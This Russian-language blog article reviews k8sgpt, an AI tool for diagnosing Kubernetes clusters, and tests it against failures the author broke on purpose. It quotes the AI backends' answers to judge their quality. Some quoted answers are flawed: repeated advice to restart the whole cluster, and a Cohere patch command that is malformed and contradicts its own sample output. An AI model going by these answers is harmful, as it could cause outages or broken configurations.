Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Обзор k8sgpt: как искусственный интеллект помогает обучать DevOps-инженеров

Всем привет! На связи Евгений Торин, DevOps-инженер компании «Флант». Я давно хотел попробовать в деле искусственный интеллект и даже в качестве эксперимента генерировал картинки для своих презентаций. Но полноценно погрузиться в эту область удалось, лишь когда появилась практическая необходимость.

0c37353efe727c572ea5a64eff3fadc5.png

Однажды меня попросили онбордить новичков в работе с Kubernetes — научить их решать возникающие проблемы. У нас есть рабочий процесс онбординга и даже собственный обучающий курс, но мне хотелось внедрить новый инструмент, который помогал бы решать эту задачу. Сейчас особую популярность набирают AI и LLM (Large Language Models, большая языковая модель), которые я и решил использовать для решения задач онбординга. То есть решил переложить эту работу на машины.

Одним из новых инструментов в области AI, которые связаны с работой Kubernetes, является k8sgpt — чат-бот, который появился весной 2023 года. Он помогает получать информацию, советы и решения по различным вопросам, связанным с Kubernetes. Для сравнения можно найти похожие утилиты в статье про инструменты с открытым исходным кодом на основе OpenAI для Kubernetes.

В этой статье я расскажу, что за утилита k8sgpt, как её поставить, какие есть полезные опции и как подключить к ней AI. Я покажу, какого уровня диагностику можно провести с помощью этого инструмента и на какие ответы чат-бота можно рассчитывать.

Для этого я попробовал в действии разные доступные интеграции с AI, несколько моделей, в том числе и локальную. Всё с примерами, командами запуска и подробными логами.

Что такое k8sgpt

k8sgpt используется для сканирования кластеров Kubernetes, диагностики проблем и поиска вариантов их устранения. В его основе — богатый опыт SRE (Site Reliability Engineering). Опираясь на него, k8sgpt извлекает наиболее релевантную информацию и дополняет её с помощью искусственного интеллекта.

Например, в кластере появился под со статусом Pending. И если на ум не приходят причины этой проблемы, можно запустить утилиту k8sgpt и получить разъяснение, список возможных проблем и, возможно, даже команды для дальнейшей диагностики.

Так k8sgpt помогает дебажить проблемы в «кубе». А ещё утилита добавляет в чат к стандартному запросу формат общения и контекст проблемы. Конечно, запрос в чат можно составить и самостоятельно, но k8sgpt упрощает и ускоряет этот процесс.

Как устанавливать k8sgpt

Если не хочется устанавливать утилиту, с её работой можно начать знакомиться в песочнице. Если же есть желание полноценно разобраться с инструментом, его нужно установить. Существуют два основных варианта установки:

  • В качестве простой консольной утилиты — при её вызове мы получаем ответ.

  • В качестве оператора K8s в кластере — утилита работает в фоне и складывает результаты в отдельный CR (Custom Resource) типа Result. Это вариант подойдёт, когда нужна история проверок, а также когда нужно автоматизировать проверку проблемы, которую нельзя застать при ручном подходе — при работе с консольной утилитой.

В этой статье я разберу только первый вариант установки. Вариант с оператором можно найти в этой статье.

1. Устанавливаю утилиту на мастере k8s-кластера:

curl -LO https://github.com/k8sgpt-ai/k8sgpt/releases/download/v0.3.40/k8sgpt_amd64.deb

dpkg -i k8sgpt_amd64.deb

2. Регистрирую интеграцию с AI (далее бэкенд или просто бэк). Сейчас утилита поддерживает несколько вариантов бэков, из основных это:

Полный список можно посмотреть на сайте.

Примечание

Noopai — фейковый AI. Это заглушка на случай тестирования утилиты. Отвечает так:

I am a noop response to the prompt ...

Вместо многоточия подставляется текст ошибок, результат работы модуля analyze, о нём подробнее будет чуть ниже.

Выполняю регистрацию на первом по очереди рабочем бэке — от OpenAI. API-ключ можно получить по ссылке. В команде регистрации бэка нужно указать собственно имя бэка openai и имя модели, например gpt-3.5-turbo:

k8sgpt auth add -b openai -m gpt-3.5-turbo
Enter openai Key:

Далее предполагается, что конфиг ~/.kube/config уже есть и API кластера доступен, после чего утилита готова к работе.

Подробнее об установке и первом запуске можно почитать в официальной документации.

Какие возможности и опции есть у k8sgpt

Прежде чем разбирать работу утилиты, рассмотрим её основные функции. Ниже можно увидеть одни из главных команд:

Доступные команды:
  analyze     Команда поможет найти проблемы в кластере Kubernetes
  cache       Для работы с кэшем результатов анализа
  filters     Настраивайте фильтры для анализа ресурсов Kubernetes
  e, explain  Команда для обращения к AI для решения проблемы

Допустим, такой командой я попрошу утилиту рассказать, что происходит в кластере:

k8sgpt analyze -b openai --explain --no-cache --namespace=dev --filter Pod
  • analyze (анализатор) собирает данные о проблемах в кластере.

  • С помощью опции explain происходит обращение к бэку AI. Без неё утилита не будет использовать AI, а запустит внутренний анализатор — по сути сборник SRE-практик по дебагу определённой проблемы, где по статусу ресурса определяется перечень дальнейших диагностических действий.

  • Опция --no-cache добавлена, чтоб не учитывать результат предыдущего анализа из кэша.

  • Фильтр --namespace=dev -f Pod анализирует проблемы в определённом неймспейсе по ресурсам типа Pod.

Например, в запросе ниже я не использовал AI, но в ответе утилита дала структурированную информацию по найденным проблемам, по которой можно догадаться о причинах возникновения ошибок:

# k8sgpt analyse --namespace=dev
AI Provider: AI not used; --explain not set

0 dev/web-0(StatefulSet/web)
- Error: 0/2 nodes are available: 1 node(s) didn't match Pod's node affinity/selector,1 node(s) had taint {node-role.kubernetes.io/master: }, that the pod didn't tolerate.
...

А если использовать в команде опцию -d, утилита добавит к каждой ошибке описание из документации в секции Kubernetes Doc:

# k8sgpt analyze --namespace=dev --filter Service -d
AI Provider: AI not used; --explain not set

0 dev/web-0(web-0)
- Error: Service has no endpoints, expected label app.kubernetes.io/name=local-ai
  Kubernetes Doc: Route service traffic to pods with label keys and values matching this selector. If empty or not present, the service is assumed to have an external process managing its endpoints, which Kubernetes will not modify. Only applies to types ClusterIP, NodePort, and LoadBalancer. Ignored if type is ExternalName. More info: https://kubernetes.io/docs/concepts/services-networking/service/

В итоге даже без подключения бэка с AI утилита может быть полезна. Опция же explain отправляет найденные ошибки в указанный бэк для поиска решения. Дальше в статье я буду всегда использовать опцию explain и сравнивать суммарный ответ — результат работы модуля анализатора для конкретного ресурса и ответа определённого бэк-сервера с работающей в нём моделью.

Благодаря встроенному анализатору сокращается количество ложных и выдуманных теорий, которые бы предложил на месте анализатора AI.

Снижение количества запросов

Утилита поддерживает два типа управления количеством запросов, это фильтры через опцию --filter по типам ресурсов и --max-concurrency — количество запросов, отправляемых в «куб», где цифра указывает на количество отправленных в API параллельных запросов:

  -m, --max-concurrency int   Maximum number of concurrent requests to the Kubernetes API server (default 10)

Эта опция поможет не создавать избыточную нагрузку, если, например, требуется проанализировать ресурсы всего кластера или неймспейса сразу.

А для снижения количества запросов к AI бэка (например, на доступ к API openai существуют rate-limits и может появится ошибка 429 — Too Many Requests) помогут только фильтры.

Русский язык

Большинство моделей обучались преимущественно на англоязычных текстах, при этом k8sgpt работает и на русском языке, но только в качестве перевода. Для этого при проверке проблемы нужно добавить опцию --language ”russian”. Но она работает только в режиме обращения к внешнему бэку, то есть с опцией --explain.

Интерактивный режим

У k8sgpt есть возможность уточнить свой вопрос, спросить про синтаксис команд и прочее — интерактивность. Запустить её можно с помощью ключа --interactive:

# k8sgpt analyze -b openai --no-cache -m 1 --namespace=dev --filter Ingress --explain --interactive
...

0 dev/torin-test(torin-test)
- Error: Ingress uses the ingress class nginxa which does not exist.
...
Solution: 
1. Verify the existence of the specified ingress class (nginxa).
...

Interactive mode enabled [type exit to close.]
Input text: Write me command to fix ingress class name

To fix the ingress class name, you can use the following command:

```
kubectl edit ingress dev/torin-test
```

This command will open the Ingress resource in an editor where you can update the specified ingress class from "nginxa" to the correct value. Make sure to save the changes after editing the file.

Далее открывается огромное пространство для коммуникации с AI.

Как работать со внешними AI-бэкендами

Проверим k8sgpt на практике с помощью внешних AI-бэкендов. Для этого я сымитировал несколько проблем с ресурсами кластера и посмотрел, какие советы по их устранению предлагает утилита.

Под в статусе Pending

Через .spec.affinity.nodeAffinity ограничил узлы, на которых может запускаться под. Если условия не будут удовлетворены, то под будет в статусе Pending. Проверим эту проблему через утилиту:

# k8sgpt analyse --explain --namespace=dev

 100% |█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (2/2, 16 it/min)        
AI Provider: openai

0 dev/web-0(StatefulSet/web)
- Error: 0/3 nodes are available: 1 node(s) didn't match Pod's node affinity/selector, 1 node(s) had taint {dedicated: kafka}, that the pod didn't tolerate, 1 node(s) had taint {node-role.kubernetes.io/master: }, that the pod didn't tolerate.

Solution: 
1. Update the pod's node affinity/selector to match a node that is available.
2. Remove the taint {dedicated: kafka} from the node or add toleration in the pod's spec to tolerate the taint.
3. Remove the taint {node-role.kubernetes.io/master: } from the node or add toleration in the pod's spec to tolerate the taint.

В ответе k8sgpt в первую очередь предлагает проверить верность указанных selectors (nodeselector) и affinity, что является верным предположением. Дальнейшие рекомендации по удалению taint также могут быть полезны, так как в этих местах тоже часто допускаются ошибки.

Под в статусе ErrImagePull

Следующая ошибка связана с невозможностью скачать образ. В данном примере я изменил имя текущего образа на несуществующее, и вот что ответила на это утилита и базовая модель gpt-3.5-turbo от openai:

# k8sgpt analyze --explain -m 1 --namespace=dev 
 100% |████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (2/2, 13 it/min)        
AI Provider: openai
0 dev/web-0(StatefulSet/web)
- Error: Back-off pulling image "registry.k8s.io/alpine:3.88"
Error: The Kubernetes container is experiencing a back-off while trying to pull the image "registry.k8s.io/alpine:3.88".
Solution: 
1. Check the image repository registry for any issues or downtime.
2. Verify the image name and tag are correct.
3. Ensure there is enough disk space on the Kubernetes node.
4. Restart the Kubernetes cluster or pod to retry the image pull.
5. If the issue persists, check network connectivity to the image registry.
6. Consider using a different image or version if the problem persists.

В своём ответе модель с помощью утилиты предлагает проверить, работает ли вообще registry. И потом предлагает проверить имя тега. Если не помогло, ещё можно проверить место для хранения образа, перезагрузить кластер, проверить доступность между кластером и хранилищем образов, а в конце рекомендуется попробовать другой образ.

Ход мыслей у модели верный, но предложение перезагрузить кластер приведёт к недоступности всего, что в нём запущено. Поэтому следовать рекомендациям всё же нужно с оглядкой на масштаб возможных последствий.

Если посмотреть документацию, утилита парсит вывод нескольких источников, в том числе kubectl get events. Выглядит этот вывод так:

# kubectl -n dev get events --sort-by='.metadata.creationTimestamp'
LAST SEEN   TYPE      REASON                   OBJECT            MESSAGE
20s         Normal    Pulling                  pod/web-0         Pulling image "registry.k8s.io/alpine:3.88"
20s         Warning   Failed                   pod/web-0         Error: ErrImagePull
20s         Warning   Failed                   pod/web-0         Failed to pull image "registry.k8s.io/alpine:3.88": rpc error: code = NotFound desc = failed to pull and unpack image "registry.k8s.io/alpine:3.88": failed to resolve reference "registry.k8s.io/alpine:3.88": registry.k8s.io/alpine:3.88: not found
5s          Normal    BackOff                  pod/web-0         Back-off pulling image "registry.k8s.io/alpine:3.88"
5s          Warning   Failed                   pod/web-0         Error: ImagePullBackOff

Это подтверждает то, что утилита опирается на данные кластера. Значит, она видит проблему и предлагает решение именно по возникшей ситуации.

Теперь проверим утилиту на этой же проблеме только с использованием стороннего AI-сервера — Cohere. Описание модели можно найти по этой ссылке. Добавить новую модель можно не только через k8sgpt auth add -b cohere -m command-nightly, но и через редактирование файла конфигурации /root/.config/k8sgpt/k8sgpt.yaml. Модель проста в регистрации, для подтверждения не требуется номер телефона, и даже в бесплатном режиме можно комфортно отправлять запросы.

Модель Cohere справилась с проблемой неверного имени тега следующим образом:

# k8sgpt analyze --explain -m 1 --no-cache --namespace=dev
 100% |███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (1/1, 17 it/min)        
AI Provider: cohere

0 dev/test-6645f4b985-rbm7z(Deployment/test)
- Error: Back-off pulling image "alpine:3.88"
 Error: Kubernetes is having trouble pulling the image "alpine:3.88". 
This could be due to a few reasons, such as a network issue, 
a problem with the image repository, or a slow download.
Solution: Check the Kubernetes logs for more details on the error. 
You can also try to pull the image manually to see if there are any issues 
with the repository or download.
If the issue persists, try restarting the Kubernetes node or cluster.

В этом варианте как будто поменялся prompt. Например, нет пронумерованного списка рекомендаций. Также подход к решению немного иной: предлагается верхнеуровнево проверить сетевые проблемы, проблемы с registry или низкой скоростью загрузки. Ещё рекомендуется посмотреть логи K8s и попробовать скачать образ вручную. А если совсем ничего не помогает, нужно перезапустить кластер. Но о том, к какой проблеме это может привести, мы говорили ранее.

Решение той же проблемы от флагманской модели OpenAI gpt-4o по сути ничем не отличается от ответа gpt-3.5-turbo:

0 dev/test-6645f4b985-rbm7z(Deployment/test)
- Error: Back-off pulling image "alpine:3.88"
Error: Kubernetes is unable to pull the Docker image "alpine:3.88".
Solution:
1. Verify the image name and tag are correct.
2. Check if the image exists in the repository.
3. Ensure your Kubernetes nodes have internet access.
4. Try pulling the image manually using `docker pull alpine:3.88`.
5. Update the image tag if necessary.

Тут, сравнивая два бэка и три модели, две из которых с одинаковой настойчивостью рекомендуют перезапустить кластер, логично выбрать последнюю — 4o, да и визуально и технически структурированный ответ от OpenAI мне нравится больше. С другой стороны, Cohere проще в регистрации и работает без VPN.

Под в статусе ErrImagePull + wrong password

Теперь я подбрасываю утилите проблемы в рамках недоступности образа. Но на этот раз поменяю логин и пароль для доступа к gitlab.registry — локальный registry, в который перепушил образ alpine, поэтому тег изменился. Тестирую k8sgpt на модели gpt-3.5-turbo от openai. Получаю такой ответ:

# k8sgpt analyze --explain -m 1 --no-cache --namespace=dev 
 100% |████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (2/2, 8 it/min)         
AI Provider: openai

1 dev/web-0(StatefulSet/web)
- Error: Back-off pulling image "registry.k8s.io/alpine:7c36eb2e27a23465498b483c1fc02c94142b31919e51bdede2146e6a-1690898126442"
Error: The Kubernetes is experiencing a back-off while pulling the image "registry.k8s.io/alpine:7c36eb2e27a23465498b483c1fc02c94142b31919e51bdede2146e6a-1690898126442".

Solution: 
1. Check the network connectivity to the image registry.
2. Verify the image name and tag are correct.
3. If using custom image repository, ensure proper authentication is configured.

Советы такие: проверить сеть, имя тега и верность кредов подключения к частному хранилищу. Последний вариант верный, но есть нюанс — спустя некоторое время список рекомендаций обновился:

1 dev/web-0(StatefulSet/web)
- Error: Back-off pulling image "registry.k8s.io/alpine:7c36eb2e27a23465498b483c1fc02c94142b31919e51bdede2146e6a-1690898126442"
Error: There is an issue with pulling the specified image from the registry.

Solution: 
1. Check if the image name and tag are correct.
2. Verify if the registry URL is accessible.
3. Ensure that you have the necessary permissions to pull the image.
4. Make sure there is an active internet connection.
5. Restart the Kubernetes pod or deployment.

Обновление списка рекомендаций может показаться странным, так как при обращении к модели не была явно указана высокая температура — параметр, который отвечает за случайность генерируемого текста. На эту тему даже было открыто обращение, и начиная с версии утилиты v0.3.18 можно указать этот параметр, по умолчанию — 0,7, и это делает модель более креативной в ответах. Сама настройка температуры вынесена в файл конфигурации:

cat /root/.config/k8sgpt/k8sgpt.yaml

ai:
    providers:
        - name: openai
          model: gpt-3.5-turbo
          password: ...
          temperature: 0.7
          topp: 0.5
          maxtokens: 2048
...

Но вариант с параметром — это всего лишь догадки. Также обновление текста рекомендаций можно списать на новые события в кластере и использование опции --no-cache, что делает каждый новый запрос без учёта данных предыдущего.

Новый ответ утилиты рекомендует проверить имя тега, корректность ссылки до registry и наличие необходимых прав для скачивания — это бывает важно в некоторых случаях. Также рекомендуется проверить интернет-подключение и, по уже сложившейся традиции, если ничего не помогает, перезапустить кластер.

Обновлённый список рекомендаций оказался шире, и большинство предложенных решений имеют право на существование. При этом пропал вариант с корректностью логина и пароля, который я загадал, хотя всё это время в описании пода (kubectl -n dev describe pod web-0) можно видеть явную ошибку доступа
failed to authorize: failed to fetch anonymous token: unexpected status: 403 Forbidden.

К сожалению, модель не всегда выдаёт удовлетворяющий на 100% ответ. Но это искусственный пример, в котором я знаю, что сломал. В реальной же ситуации от модели потребуются варианты, перепробовав которые можно спросить ещё раз. Но справедливости ради нужно отметить, что на этот раз 4o-модель справилась с задачей лучше своей предшественницы:

Solution:
1. Verify image registry URL and credentials.
2. Ensure your Kubernetes secret for the registry is correctly configured.
3. Check OAuth token endpoint and permissions.
4. Retry pulling the image.

Под в статусе CrashLoopBackOff

Имитирую следующую проблему: делаю любую ошибку в команде запуска пода, например вызываю несуществующий в этом образе bash. В итоге вижу от k8sgpt такой ответ:

# kubectl -n dev get pod
NAME                    READY   STATUS             RESTARTS      AGE
test-6dbdf798f9-skb8t   0/1     CrashLoopBackOff   4 (22s ago)   2m2s

# k8sgpt analyze --explain --no-cache --namespace=dev
 100% |████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (2/2, 7 it/min)         
AI Provider: openai

1 dev/test-6dbdf798f9-skb8t(Deployment/test)
- Error: back-off 1m20s restarting failed container=alpine pod=test-6dbdf798f9-skb8t_dev(9e727950-e020-4422-b4d5-36e725933a26)
Error: The container "alpine" in the "test-6dbdf798f9-skb8t_dev" pod is failing and restarting with a back-off time of 1 minute and 20 seconds.

Solution: 
1. Check the logs of the "alpine" container to identify the cause of the failure.
2. Make necessary changes to fix the issue.
3. Restart the pod to apply the changes and validate if the "alpine" container starts successfully.

Утилита рекомендует посмотреть логи контейнера, пофиксить проблему и рестартануть под без какой-либо конкретики.

Смотрю events:

19s         Warning   Failed                   pod/test-6dbdf798f9-skb8t         Error: failed to create containerd task: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: exec: "bash": executable file not found in $PATH: unknown

Предположительная проблема — exec: "bash": executable file not found in $PATH: unknown, но упоминаний в решении о ней нет.

Та же ошибка — и новая попытка анализа показывает, что ответ всё же не статичен — есть некоторая вариативность. Но даже изменение температуры до 0,7 кардинально не изменит качество ответа:

# k8sgpt analyze --explain --namespace=dev
 100% |████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (2/2, 15 it/min)        
AI Provider: openai

1 dev/test-6dbdf798f9-skb8t(Deployment/test)
- Error: back-off 2m40s restarting failed container=alpine pod=test-6dbdf798f9-skb8t_dev(9e727950-e020-4422-b4d5-36e725933a26)
Error: The container "alpine" in the pod "test-6dbdf798f9-skb8t_dev" failed to restart after a back-off period.

Solution:
1. Check the logs of the pod to identify the specific error causing the container to fail.
2. Update the container configuration or troubleshoot the issue causing the failure.
3. Apply the necessary changes to resolve the error.
4. Restart the pod to check if the issue has been resolved.

Модель 4o предложила:

Solution:
1. Check container logs: `kubectl logs test-6dbdf798f9-skb8t -c alpine`
2. Describe the pod for more details: `kubectl describe pod test-6dbdf798f9-skb8t`
3. Fix any issues found in the logs or description.
4. Restart the pod: `kubectl delete pod test-6dbdf798f9-skb8t` (it will be recreated).

Как и ожидалось, новые рекомендации отличаются по форме, но идентичны по сути: проверить логи, обновить конфигурацию контейнера, найти и исправить проблему, перезагрузить под. Новая модель лишь предложила конкретные команды для дебага.

Под в статусе OOMKilled

Ещё одна частая ошибка — эмулирую запуск пода со следующей командой:

command:
            - bash
            - "-c"
            - "for i in {1..100};do echo \" $i s waiting...\" && sleep 1;done\necho \"some strange command\"\ntail /dev/zero\nEOF \n"

В событиях виден циклический ребут пода:

52s         Normal    Started                  pod/test-858c7f9f7d-tp69t         Started container alpine
52s         Normal    Pulled                   pod/test-858c7f9f7d-tp69t         Container image "alpine:3.6" already present on machine
52s         Normal    Created                  pod/test-858c7f9f7d-tp69t         Created container alpine
4s          Warning   BackOff                  pod/test-858c7f9f7d-tp69t         Back-off restarting failed container

По events нельзя однозначно судить о проблеме. Про OOM тут явно не сказано, но это можно обнаружить, сделав describe:

# kubectl -n dev describe pod test-858c7f9f7d-tp69t
...      
    State:          Waiting
      Reason:       CrashLoopBackOff
    Last State:     Terminated
      Reason:       OOMKilled

Также ненадолго эту информацию поймал в статусе пода:

# kubectl -n dev get pod -w
NAME                    READY   STATUS    RESTARTS      AGE
test-858c7f9f7d-tp69t   1/1     Running   2 (25s ago)   49s
test-858c7f9f7d-tp69t   0/1     OOMKilled   2 (26s ago)   50s
test-858c7f9f7d-tp69t   0/1     CrashLoopBackOff   2 (13s ago)   63s
test-858c7f9f7d-tp69t   1/1     Running            3 (29s ago)   79s
test-858c7f9f7d-tp69t   0/1     OOMKilled          3 (40s ago)   90s
test-858c7f9f7d-tp69t   0/1     CrashLoopBackOff   3 (13s ago)   102s

Чат на это даёт следующие рекомендации:

# k8sgpt analyze --explain --no-cache --namespace=dev -f Pod
   0% |                                                                                                                                          | (0/1, 0 it/hr) [0s:0s]^ 100% |█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (1/1, 7 it/min)        
AI Provider: openai

0 dev/test-858c7f9f7d-tp69t(Deployment/test)
- Error: back-off 5m0s restarting failed container=alpine pod=test-858c7f9f7d-tp69t_dev(2dcd7352-a56c-4c87-a74f-88f964b60d02)
Error: The alpine container in pod test-858c7f9f7d-tp69t_dev failed to start and is continuously restarting with a back-off period of 5 minutes.
Solution: 
1. Check the logs of the pod using `kubectl logs pod/test-858c7f9f7d-tp69t_dev`
2. Identify the cause of the failure in the logs.
3. Fix the issue with the alpine container.
4. Update the pod using `kubectl apply -f <pod_yaml_file>` to apply the changes.
5. Monitor the pod using `kubectl get pods -w` to ensure it is running without restarts

Нужно найти причину, внести изменения, перезапустить под и продолжать наблюдение. Повторные запуски с разными задержками и попытки подловить ошибку не увенчались успехом. Получается, что k8sgpt может не заметить плавающие ошибки. Возможно, тут подошла бы операторная версия утилиты.

Ошибки с Ingress

Дальше будет достаточно простая ошибка с опечаткой. Чуть ниже покажу, с какой именно, а пока запускаю под c образом nginx и подключаю его к kind: Ingress. По events ошибок нет:

# kubectl -n dev get events
LAST SEEN   TYPE     REASON    OBJECT                      MESSAGE
6m          Normal   Pulled    pod/test-548bf544cd-nttq5   Container image "alpine:3.6" already present on machine
6m          Normal   Created   pod/test-548bf544cd-nttq5   Created container alpine
9m24s       Normal   Sync      ingress/torin-test          Scheduled for sync

В describe тоже пусто:

# kubectl -n dev describe ingress
Name:             torin-test
Labels:           <none>
Namespace:        dev
Address:          95.217.82.184
Default backend:  default-http-backend:80 (<error: endpoints "default-http-backend" not found>)
TLS:
  torin-test-tls terminates torin-test.sandbox.echo-shared.hf.flant.com
Rules:
  Host                                         Path  Backends
  ----                                         ----  --------
  torin-test.sandbox.echo-shared.hf.flant.com  
                                               /   torin-test:app (<error: endpoints "torin-test" not found>)
Annotations:                                   kubernetes.io/ingress.class: nginx
                                               nginx.ingress.kubernetes.io/force-ssl-redirect: true
                                               nginx.ingress.kubernetes.io/ssl-redirect: true
Events:
  Type    Reason  Age                From                      Message
  ----    ------  ----               ----                      -------
  Normal  Sync    10m (x2 over 10m)  nginx-ingress-controller  Scheduled for sync

И если нет идей, куда после этого смотреть, k8sgpt может подсказать возможную проблему:

# k8sgpt analyze --explain -m 1  --namespace=dev 
 100% |█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (2/2, 20 it/min)        
AI Provider: openai

0 dev/torin-test(torin-test)
- Error: Ingress uses the ingress class nginxa which does not exist.
- Error: Ingress uses the service dev/torin-test which does not exist.
- Error: Ingress uses the secret dev/torin-test-tls as a TLS certificate which does not exist.
Error: Ingress uses the ingress class nginxa which does not exist. Ingress uses the service dev/torin-test which does not exist. Ingress uses the secret dev/torin-test-tls as a TLS certificate which does not exist.

Solution: 
1. Check the spelling and syntax of the ingress class "nginxa" to ensure it matches a valid ingress class name.
2. Verify if the service "dev/torin-test" exists. If not, create the service with the required specifications.
3. Confirm if the secret "dev/torin-test-tls" exists. If not, create the secret with the correct TLS certificate information.

И первым же пунктом утилита предлагает верное решение: опечатка в имени ingress class, а класса nginxa не существует в кластере:

# kubectl get ingressclasses.networking.k8s.io --no-headers -o custom-columns=":metadata.name"
nginx

Тут нужно отметить, что ошибка Error: Ingress uses the ingress class nginxa which does not exist была обнаружена в секции analyze — то есть анализатором k8sgpt на основе данных из кластера и до использования AI. Поэтому неудивительно, что в секции Solution AI тоже подчёркивает важность этой проблемы и предлагает верный вариант её решения.

По поводу опечатки в имени ресурса — неожиданно подробный ответ и пошаговые рекомендации с командами дал бэк Cohere c моделью command-nightly (полный список актуальных моделей можно получить из документации) даже без опции -d:

# k8sgpt analyze -b cohere --explain -m 1  --namespace=dev
 100% |██████████████████████████████████████████████████████████████████████████████████████████████| (2/2, 5 it/min)         
AI Provider: cohere

1 dev/torin-test(torin-test)
- Error: Ingress uses the ingress class nginxa which does not exist.
- Error: Ingress uses the service dev/torin-test which does not exist.
- Error: Ingress uses the secret dev/torin-test-tls as a TLS certificate 
which does not exist.
 Error: Ingress uses the ingress class nginxa which does not exist. 
Ingress uses the service dev/torin-test which does not exist. 
Ingress uses the secret dev/torin-test-tls as a TLS certificate 
which does not exist.

Solution: To resolve this error, you can follow these steps:

1. Verify the ingress class: Make sure that the ingress class `nginx` 
exists in the Kubernetes cluster. You can use the following command to check:

```
kubectl get ingressclass nginxa
```

2. Verify the service: Make sure that the service `dev/torin-test` 
exists in the Kubernetes cluster. You can use the following command to check:

```
kubectl get service dev/torin-test
```

3. Verify the secret: Make sure that the secret `dev/torin-test-tls` 
exists in the Kubernetes cluster. You can use the following command to check:

```
kubectl get secret dev/torin-test-tls
```

If any of these resources do not exist, you can create them with the 
following commands:

```
kubectl apply -f ingress.yaml
kubectl apply -f service.yaml
kubectl apply -f secret.yaml
```

4. Update the ingress: Once you have verified that the required 
resources exist, you can update the ingress to use the correct resources. 
You can use the following command to patch the ingress:

```
kubectl patch ingress torin-ingress --type='json' 
--patch='{"spec": {"ingressClassName": "nginx", 
"defaultBackend": {"serviceName": "torin-test", "servicePort": 80}}'
```

5. Verify the ingress: After updating the ingress, you can verify that it is 
using the correct resources by running the following command:

```
kubectl get ingress torin-ingress
```

Output:
```
NAME           CLASS    HOSTNAME   ADDRESS        PORTS   AGE
torin-ingress  nginxa                 127.0.0.1      80      1d3h
```

This output shows that the ingress `torin-ingress` is using the correct 
ingress class (`nginx`), service (`torin-test`), and secret (`torin-test-tls`).

Что предлагает бэк Cohere:

  1. Проверить наличие ингресс-класса с таким именем.

  2. Проверить наличие сервиса и секрета.

  3. Поменять настройки ингресса с учётом найденных имён ресурсов.

  4. Проверить корректность настройки ингресса.

И как уже сказал, всё это с конкретными командами.

Как работать с локальными бэками

Использование внешних бэков может показаться небезопасным, так как в запросах в бэк явно фигурируют имена неймспейсов, подов и прочих ресурсов кластера. И может возникнуть вопрос, отправляются ли данные, например, секретов. На этот случай утилита предлагает возможность анонимизации отправляемых данных с помощью опции --anonymize. Например, так выглядит запрос без --anonymize:

# k8sgpt analyze -b localai  --no-cache -m 1 --namespace=dev --filter Ingress --explain

...
--- Ingress uses the ingress class nginxa which does not exist. Ingress uses the service dev/torin-test which does not exist. Ingress uses the secret dev/torin-test-tls as a TLS certificate which does not exist. ---.
...

Здесь после команд представлены логи запроса от утилиты со стороны бэка. Логи взяты из бэка localai, пример запуска которого будет ниже.

А так со стороны бэка выглядит тот же запрос, но с опцией --anonymize:

# k8sgpt analyze -b localai --no-cache -m 1 --namespace=dev --filter Ingress --explain --anonymize
...
--- Ingress uses the ingress class ZWIyfD5S which does not exist. Ingress uses the service Rkwv/c0gnUmJZNjhPIw== which does not exist. Ingress uses the secret ZUUx/LVdhSF9rbF0xNEIjLVA= as a TLS certificate which does not exist. ---.
...

Видно, что имена ресурсов в данном случае скрыты. Со стороны же ответа утилиты пользователю разница в именах не видна, поэтому для демонстрации работы опции потребовались именно логи бэка.

Если же нужен ещё более безопасный способ использования утилиты k8sgpt, стоит рассмотреть возможность использования собственного бэка (-b localai).

Для кластера может подойти решение LocalAI — приложение, которое позволяет запускать модели искусственного интеллекта без необходимости подключения к интернету. Тут может возникнуть путаница проекта LocalAI и бэка утилиты k8sgpt (-b localai). Последняя — это общий ключ для подключения любого бэка с моделью, а LocalAI — одна из возможных реализаций этого бэка, так как утилите для подключения бэка localai достаточно ссылки и ключа доступа. Провайдером же для модели может быть любое другое приложение.

Запускаю локальную модель с помощью LocalAI

Для установки LocalAI понадобится следующее:

Для установки LocalAI я использовал werf, а не чистый Helm: подредактировал Helm-чарты, создал werf.yaml и .gitlab-ci.yml для выката в K8s-кластер удобным для себя способом. Вы можете использовать либо чистый Helm, либо любые другие его аналоги.

values.yaml выглядит так:

deployment:
  env:
    ...
    preload_models: '[{ "url": "github:go-skynet/model-gallery/gpt4all-j.yaml", "overrides": { "parameters": { "model": "ggml-gpt4all-j" }}, "files": [ { "uri": "https://gpt4all.io/models/ggml-gpt4all-j.bin", "sha256": "acd54f6da1cad7c04c48b785178d686c720dcbe549903032a0945f97b1a43d20", "filename": "ggml-gpt4all-j" }]}]'

Здесь стоит обратить внимание на имя модели и ресурсы. По умолчанию используется модель ggml-gpt4all-j (ниже будет пример с запуском другой модели). Эксперименты с запуском начал проводить на K8s-кластере с доступным на тот момент рабочим узлом с характеристиками 4cpu 8gb и отдал поду почти все доступные ресурсы (узла с GPU под рукой не оказалось, но в следующей части попробую запуститься уже с ними):

resources:
  requests:
    cpu: 3500m
    memory: 7Gi

Диск, чтобы хватило места под модель:

persistence:
    pvc:
      enabled: true
      size: 20Gi

Забегая вперёд, по графикам можно увидеть утилизацию ресурсов во время обработки запроса и длительность подготовки ответа:

d95fef7bc5444f5270a555672432be21.png858b8b568ef5ca68f838e359fdd74f67.png

7,45 ГБ памяти и 100% CPU — утилизируются почти все ресурсы, что были доступны на узле, так как лимиты поду не указывал.

Также в переменных values.yaml можно настроить шаблон запроса:

promptTemplates:
   ggml-gpt4all-j.tmpl: |
     The prompt below is a question to answer, a task to complete, or a conversation to respond to; decide which and write an appropriate response.
     ### Prompt:
     {{.Input}}
     ### Response:

И его тоже видно в логах пода во время выполнения запроса:

Prompt (after templating): The prompt below is a question to answer, a task to complete, or a conversation to respond to; decide which and write an appropriate response.
### Prompt:
